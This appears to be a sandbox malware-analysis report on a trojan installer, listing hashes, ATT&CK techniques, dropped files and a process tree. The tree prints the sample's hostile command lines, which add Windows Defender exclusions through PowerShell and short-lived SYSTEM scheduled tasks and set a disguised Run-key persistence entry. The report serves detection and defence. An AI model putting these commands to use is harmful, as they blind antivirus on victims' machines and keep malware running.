5832c497a6cc3872ed466145ad1637eea8c68959cc1627143fd856e3d893fe04

Analysis

max time kernel
150s
max time network
140s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/10/2026, 15:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.10.exe
Size 34.6MB
Sample261022-sjs3vsvv8n
SHA256 5832c497a6cc3872ed466145ad1637eea8c68959cc1627143fd856e3d893fe04
MD5 758b45fc1bc6661199ed5bb5a222bde3
SHA1 20d0fe204f582186e201bf9390348f0d6b74fe03
SHA512 21038df0b6eae3aa804ccf0b364a51e871969f5a3c2f75ff2038a336d3d61ac712fd23a9358b5e9c600de69bc3da393152f0c0c0fa393612ba7c830935a28c21
SSDEEP 98304:g6ukQmHTpksa7ffG6slKxMzfM3nJ76KVfMYrvjgAl:bukQmH0HmKxofM3nl6UfMYrLgAl
TLSH
T144876F22B6428CD2F00285F45897BBA427FEFCB18AD1C71336E95B1E6FAE18C8D57055
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 4 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\vWoFIE = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5000	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
5204	3WQM9q.exe
5632	3WQM9q.exe

Loads dropped DLL 2 IoCs

pid	Process
5204	3WQM9q.exe
5632	3WQM9q.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\vWoFIE\\3WQM9q.exe\""	3WQM9q.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5528	cmd.exe
4484	cmd.exe
2736	cmd.exe
960	cmd.exe
4108	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	3WQM9q.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5568	cmd.exe
3180	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.10.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.10.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	3WQM9q.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	3WQM9q.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5376	schtasks.exe
472	schtasks.exe
916	schtasks.exe
1840	schtasks.exe
3768	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
4904	install.2.0.10.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe
5204	3WQM9q.exe

Suspicious behavior: LoadsDriver 7 IoCs

pid	Process
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	5000	powershell.exe
Token: SeIncreaseQuotaPrivilege	5000	powershell.exe
Token: SeSecurityPrivilege	5000	powershell.exe
Token: SeTakeOwnershipPrivilege	5000	powershell.exe
Token: SeLoadDriverPrivilege	5000	powershell.exe
Token: SeSystemProfilePrivilege	5000	powershell.exe
Token: SeSystemtimePrivilege	5000	powershell.exe
Token: SeProfSingleProcessPrivilege	5000	powershell.exe
Token: SeIncBasePriorityPrivilege	5000	powershell.exe
Token: SeCreatePagefilePrivilege	5000	powershell.exe
Token: SeBackupPrivilege	5000	powershell.exe
Token: SeRestorePrivilege	5000	powershell.exe
Token: SeShutdownPrivilege	5000	powershell.exe
Token: SeDebugPrivilege	5000	powershell.exe
Token: SeSystemEnvironmentPrivilege	5000	powershell.exe
Token: SeRemoteShutdownPrivilege	5000	powershell.exe
Token: SeUndockPrivilege	5000	powershell.exe
Token: SeManageVolumePrivilege	5000	powershell.exe
Token: 33	5000	powershell.exe
Token: 34	5000	powershell.exe
Token: 35	5000	powershell.exe
Token: 36	5000	powershell.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 5204 wrote to memory of 5000	5204	3WQM9q.exe	93
PID 5204 wrote to memory of 960	5204	3WQM9q.exe	95
PID 960 wrote to memory of 5376	960	cmd.exe	97
PID 5204 wrote to memory of 4108	5204	3WQM9q.exe	98
PID 960 wrote to memory of 1548	960	cmd.exe	100
PID 4108 wrote to memory of 472	4108	cmd.exe	103
PID 960 wrote to memory of 5136	960	cmd.exe	104
PID 5204 wrote to memory of 5528	5204	3WQM9q.exe	106
PID 4108 wrote to memory of 4560	4108	cmd.exe	108
PID 5528 wrote to memory of 916	5528	cmd.exe	109
PID 4108 wrote to memory of 4820	4108	cmd.exe	110
PID 5528 wrote to memory of 4984	5528	cmd.exe	112
PID 5204 wrote to memory of 4484	5204	3WQM9q.exe	113
PID 4484 wrote to memory of 1840	4484	cmd.exe	115
PID 5528 wrote to memory of 1504	5528	cmd.exe	116
PID 4484 wrote to memory of 3640	4484	cmd.exe	117
PID 5568 wrote to memory of 2852	5568	cmd.exe	118
PID 5204 wrote to memory of 2736	5204	3WQM9q.exe	119
PID 4484 wrote to memory of 5560	4484	cmd.exe	121
PID 2736 wrote to memory of 3768	2736	cmd.exe	122
PID 2736 wrote to memory of 964	2736	cmd.exe	123
PID 2736 wrote to memory of 4872	2736	cmd.exe	125
PID 3180 wrote to memory of 2428	3180	cmd.exe	128

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.10.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.10.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4904

C:\Users\Public\vWoFIE\3WQM9q.exe
"C:\Users\Public\vWoFIE\3WQM9q.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\vWoFIE\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:960
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\vWoFIE\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5376
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1548
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4108
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:472
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4560
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5528
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:916
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4984
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4484
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1840
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3640
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2736
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3768
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:964
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4872

C:\Users\Public\vWoFIE\3WQM9q.exe
"C:\Users\Public\vWoFIE\3WQM9q.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5632

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\vWoFIE" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5568
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\vWoFIE" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2852

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:5824

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3180
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2428

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 caf65599d2aa4d0d8414ca8d8f7ec236b439605449cf986cfce7a321ed11cb97
MD5 2e8ae38f446be5322a509c220c60a17f
SHA1 b075862fe9795e41e1880968fec6423304035ea1
SHA512 e82bb8cc1cc0d7de2570597599bcb3a8411c56ee747c49fde66df0cfb6d5b4b3ae5662fb8743f0d6d6ee56df32ccec073ae01ca5cc7f1d082ce3477b80d86658
TLSH
T1BF31C6BB1FADB8839F2F4D9420CAE1322DE4A2404CD500A96264C4A95F0C3B22F0E60D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 e19ea05ea7f56806c0135e59ab4970caa77690d36215305a97fb39aec8a68d0f
MD5 ab50dcc55a345b40c11f219124b0fd21
SHA1 816971614b1f3fa30aa594a96b9abda14484c48b
SHA512 d5991bfeda817fdb07dafe9bce9ae6cc04e68618a8136be7215cc28e7262d1c25ba69a9bb892f218d947bea7dba661fe97eb86df828d1449c2292bd197d95189
TLSH
T18D31FA96AF390452CF1C5FB822D5D13BECF1E2769CAC8881653DC56B430A7776F85044
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 f9e9c4239c0ff8858f5670d697451f19532918b3e78b4804fd8179d7e37ca806
MD5 36f035549f299a615daad4e3ff1292f9
SHA1 24206d4ee7c77a85de8fc261ee0959c77ce51fcb
SHA512 bb7a6e614a0f2b2099af504e1fbb7a8ab05b63a176bfff59cdf45ad2253095f6bbd6421930a8928734c4665f796f872113f676fd9c4a83c8a695d8ba86bafb0b
TLSH
T100F05C085AB9813DF433DD3CC6D83A7A197EF606200289F806A54708B19B9166D51579
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 4d542fc2ae4e6aba8ad41957ee2a3d5f8e3e2ee9ad91219ef4f45ceb8044e1e0
MD5 12249ff4c534c5c8c3a3e5b60dcb9cfc
SHA1 6ccade18560b20698c12245e5271ecf0da9962f7
SHA512 9d3a81da75b35772c26514e35240171291b74ddd94678b3bc94c20be65056936a4f49c4acff5e00d16c676a7acfb23167744a45d50a5ee7e3a461b60c07de396
TLSH
T100F05C3865A9016FF17F51B486C67BB15575E632204753AE097903842F96D018C0323D
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_0c2cwuou.3nu.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0c2cwuou.3nu.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

3WQM9q.exe

Path C:\Users\Public\vWoFIE\3WQM9q.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\vWoFIE\UxEnhance64.dll
Size 3.1MB
SHA256 5cb47301a751cfe27bf5e9e4ea884453382e69ce9b2b1185a4d559d106c25d62
MD5 35173983cf7f0b289f0a653fbe5758f8
SHA1 6a847a4f48b70ede97f806f1cca32f76bf443e91
SHA512 1ed24b1aae6ac7cc5740c9e5c465fc17dd2753bdba69324fd9461990ae81d17ee5bd4b46c6327e973643a8470d7efa72a96747379cd01552cb2f55f81f870304
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+f:P9m29xx3Tiqt06ox6+z2rNNrKof
TLSH
T1FCE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\vWoFIE\adoresd.dat
Size 4.8MB
SHA256 ed4d33523a4a81ec0f563ab57a7390ce47aeb596691fa09d9450483b01d21902
MD5 30ea1458bd93b52956d15c6cdd3d61db
SHA1 8b3ad4f87643de8d742d7f4792f48b620dd4b01c
SHA512 935b6e98504dc200a235edc1bb28a38ab400047e7388bc7f8729a0b95c0d3fbbf085a35fbb82b449f2a468d3c1a4e327573f8b55e997599699b892857d958ea5
SSDEEP 98304:KWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:KWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1DC3633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\vWoFIE\msadox.tb
Size 8KB
SHA256 88d9343dbc148ce283bf90685226129f2821d6de67908895b39405648e203aa6
MD5 590ab86e5b0ebb1cac980618bccb4cbb
SHA1 76d286a6e67639cd5a4bfc671f163211d8211bd2
SHA512 601f8b95c72077c2f21ad58297a3a852d83e9d8a622b4d133990a1d2dc87ec0ba640249b1cdb32216939246ea57e13e9e2ba4b38970b22b8b346a6bc61574ab5
SSDEEP 192:kqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:ksZqZOXQ3uqvR2Kfzp
TLSH
T1DB029E05D7A20CC3D2016C71CD9EB2F5AB23A1DADA3926719C67D4C1670B2DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4904-525-0x00007FFC841D0000-0x00007FFC841E2000-memory.dmp

Download

memory/4904-0-0x0000000000560000-0x000000000056E000-memory.dmp

Download

memory/4904-524-0x0000000000560000-0x000000000056E000-memory.dmp

Download

memory/4904-504-0x00007FFC841D0000-0x00007FFC841E2000-memory.dmp

Download

memory/4904-2-0x0000000000570000-0x000000000057C000-memory.dmp

Download

memory/4904-1-0x0000000000560000-0x000000000056E000-memory.dmp

Download

memory/5000-607-0x0000021B3B630000-0x0000021B3B63A000-memory.dmp

Download

memory/5000-599-0x0000021B3B0E0000-0x0000021B3B102000-memory.dmp

Download

memory/5000-602-0x0000021B3B450000-0x0000021B3B46E000-memory.dmp

Download

memory/5000-603-0x0000021B3B470000-0x0000021B3B522000-memory.dmp

Download

memory/5204-562-0x0000019DD7CA0000-0x0000019DD7D2A000-memory.dmp

Download

memory/5204-545-0x0000019DD6F00000-0x0000019DD77D7000-memory.dmp

Download

memory/5204-558-0x0000019DD7BC0000-0x0000019DD7C0E000-memory.dmp

Download

memory/5204-550-0x0000019DD6F00000-0x0000019DD77D7000-memory.dmp

Download

memory/5204-561-0x0000019DD7CA0000-0x0000019DD7D2A000-memory.dmp

Download

memory/5204-556-0x0000019DD6F00000-0x0000019DD77D7000-memory.dmp

Download

memory/5204-559-0x0000019DD7CA0000-0x0000019DD7D2A000-memory.dmp

Download

memory/5204-564-0x0000019DD6F00000-0x0000019DD77D7000-memory.dmp

Download

memory/5204-568-0x0000019DD6F00000-0x0000019DD77D7000-memory.dmp

Download

memory/5204-530-0x00007FFC90050000-0x00007FFC90052000-memory.dmp

Download

memory/5204-531-0x00007FFC6D2E0000-0x00007FFC6D7FE000-memory.dmp

Download

memory/5204-537-0x0000019DD6F00000-0x0000019DD77D7000-memory.dmp

Download

memory/5204-538-0x00007FFC90060000-0x00007FFC90062000-memory.dmp

Download

memory/5204-539-0x0000019DD6F00000-0x0000019DD77D7000-memory.dmp

Download

memory/5204-543-0x0000019DD6F00000-0x0000019DD77D7000-memory.dmp

Download

memory/5204-544-0x0000019DD6F00000-0x0000019DD77D7000-memory.dmp

Download

memory/5204-560-0x0000019DD7CA0000-0x0000019DD7D2A000-memory.dmp

Download

memory/5204-546-0x0000019DD6F00000-0x0000019DD77D7000-memory.dmp

Download

memory/5632-587-0x00007FFC90050000-0x00007FFC90052000-memory.dmp

Download

memory/5632-586-0x00000161C2640000-0x00000161C2F17000-memory.dmp

Download

memory/5632-585-0x00000161C2640000-0x00000161C2F17000-memory.dmp

Download

memory/5632-583-0x00000161C2640000-0x00000161C2F17000-memory.dmp

Download

memory/5632-584-0x00000161C2640000-0x00000161C2F17000-memory.dmp

Download

memory/5632-579-0x00000161C2640000-0x00000161C2F17000-memory.dmp

Download

memory/5632-578-0x00007FFC90060000-0x00007FFC90062000-memory.dmp

Download

memory/5632-575-0x00000161C2640000-0x00000161C2F17000-memory.dmp

Download

memory/5632-572-0x00007FFC6D2E0000-0x00007FFC6D7FE000-memory.dmp

Download